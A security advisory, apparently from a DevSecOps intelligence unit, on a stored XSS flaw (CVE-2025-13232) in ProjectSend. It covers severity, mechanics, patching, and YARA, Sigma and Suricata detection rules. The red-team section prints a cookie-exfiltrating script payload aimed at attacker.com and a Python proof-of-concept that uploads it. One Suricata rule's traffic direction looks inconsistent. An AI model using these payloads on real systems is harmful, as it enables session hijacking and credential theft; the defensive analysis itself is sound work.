CVE-2025-13232

Executive Summary

CVE-2025-13232 is a stored Cross-Site Scripting (XSS) vulnerability affecting ProjectSend versions up to r1720. The flaw resides in the File Editor and Custom Download Aliases components, allowing an authenticated attacker with low privileges to inject arbitrary JavaScript into the application. When a victim (typically an administrator or other user) views the maliciously crafted file or alias, the script executes in their browser context. This can lead to session hijacking, credential theft, or further compromise of the ProjectSend instance. The vulnerability is publicly known, with a proof-of-concept exploit available, and a patch exists in version r1945.

Supply Chain & Package Security

ProjectSend is a self-hosted file-sharing application written in PHP. It is not distributed via NPM, PyPI, Go, or Ruby registries. The primary supply chain risk is from the application's own dependencies (e.g., PHP libraries, JavaScript frameworks) which are bundled within the project. Users should verify the integrity of the downloaded package from the official GitHub repository.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid user account.
• User Interaction (UI): Required (R) – Victim must click or view the malicious content.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on service availability.

Threat Level: Low. The requirement for authentication and user interaction reduces the immediate risk. However, in a multi-tenant environment or where users share files, the impact can be more significant.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The application fails to properly sanitize user-supplied input when creating or editing file names, descriptions, or custom download aliases. An attacker can inject HTML and JavaScript code into these fields. When the application renders the file list or alias page, the injected script is executed in the browser of any user who views that page.

Root Cause: Insufficient output encoding/escaping in the PHP code that handles the display of file metadata and aliases. The application likely uses echo or similar functions without applying htmlspecialchars() or equivalent sanitization.

Attack Flow:

1. Attacker logs in with a low-privilege account.
2. Attacker uploads a file or creates a custom download alias with a malicious payload in the name/description field (e.g., <script>alert('XSS')</script>).
3. Administrator or other user navigates to the file management page.
4. The malicious script executes in the victim's browser.
5. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (r1720):

// In file-edit.php or similar
echo "File Name: " . $file['name'];

Patched Code (r1945):

// Properly escaped output
echo "File Name: " . htmlspecialchars($file['name'], ENT_QUOTES, 'UTF-8');

The patch applies htmlspecialchars() to all user-controlled data before rendering, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A valid user account on the ProjectSend instance.
• Ability to upload files or create custom download aliases.

Exploit Steps:

1. Log in to ProjectSend.
2. Navigate to "Add Files" or "Custom Aliases".
3. In the "File Name" or "Alias" field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. Wait for an administrator to view the file list or alias page.
6. The victim's cookies are exfiltrated to the attacker's server.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target-projectsend.com"
session = requests.Session()

# Login
login_data = {"username": "attacker", "password": "password123"}
session.post(target + "/login.php", data=login_data)

# Upload malicious file
files = {"file": ("test.html", "<script>alert(1)</script>", "text/html")}
data = {"name": "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>"}
session.post(target + "/upload.php", files=files, data=data)

print("Malicious file uploaded. Wait for admin to view.")

Blue Team (Defender)

Detection:

• Monitor for unusual file names containing HTML tags or JavaScript.
• Review server logs for requests to /upload.php or /aliases.php with suspicious payloads.
• Use WAF rules to block common XSS patterns in file names.

Hunting:

• Search database for entries containing <script, onerror, onload, or javascript: in file names or alias fields.
• Check for outbound connections to unknown domains from the ProjectSend server.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the ProjectSend server.
  • Suspicious Referer headers pointing to file management pages.
• Host:
  • Database entries in files or aliases tables containing HTML/JavaScript.
  • Unexpected files in the upload directory with .html or .svg extensions.
• Logs:
  • Repeated failed login attempts followed by file uploads.
  • Access logs showing POST /upload.php with non-standard file names.

Detection Engineering

YARA Rule

rule CVE_2025_13232_ProjectSend_XSS {
    meta:
        description = "Detects malicious file names or aliases indicative of CVE-2025-13232"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-13232"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:\s*/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: ProjectSend Stored XSS via File Name or Alias
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-13232 by injecting XSS payloads into file names or aliases.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri:
            - '/upload.php'
            - '/aliases.php'
        cs-params|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in file descriptions (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13232 ProjectSend Stored XSS Payload in File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/upload.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade ProjectSend to version r1945 or later.
2. If upgrade is not possible, apply the patch commit 334da1ea39cb12f6b6e98dd2f80bb033e0c7b845 manually.
3. Review and sanitize existing file names and aliases in the database.

Long-term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Enforce strict input validation and output encoding for all user-supplied data.
• Conduct regular security audits and penetration testing.
• Monitor for new vulnerabilities in ProjectSend and apply patches promptly.

Workaround:

• Disable the file editor and custom alias features if not required.
• Restrict file upload permissions to trusted users only.

Report generated by Valters IT DevSecOps Intelligence Unit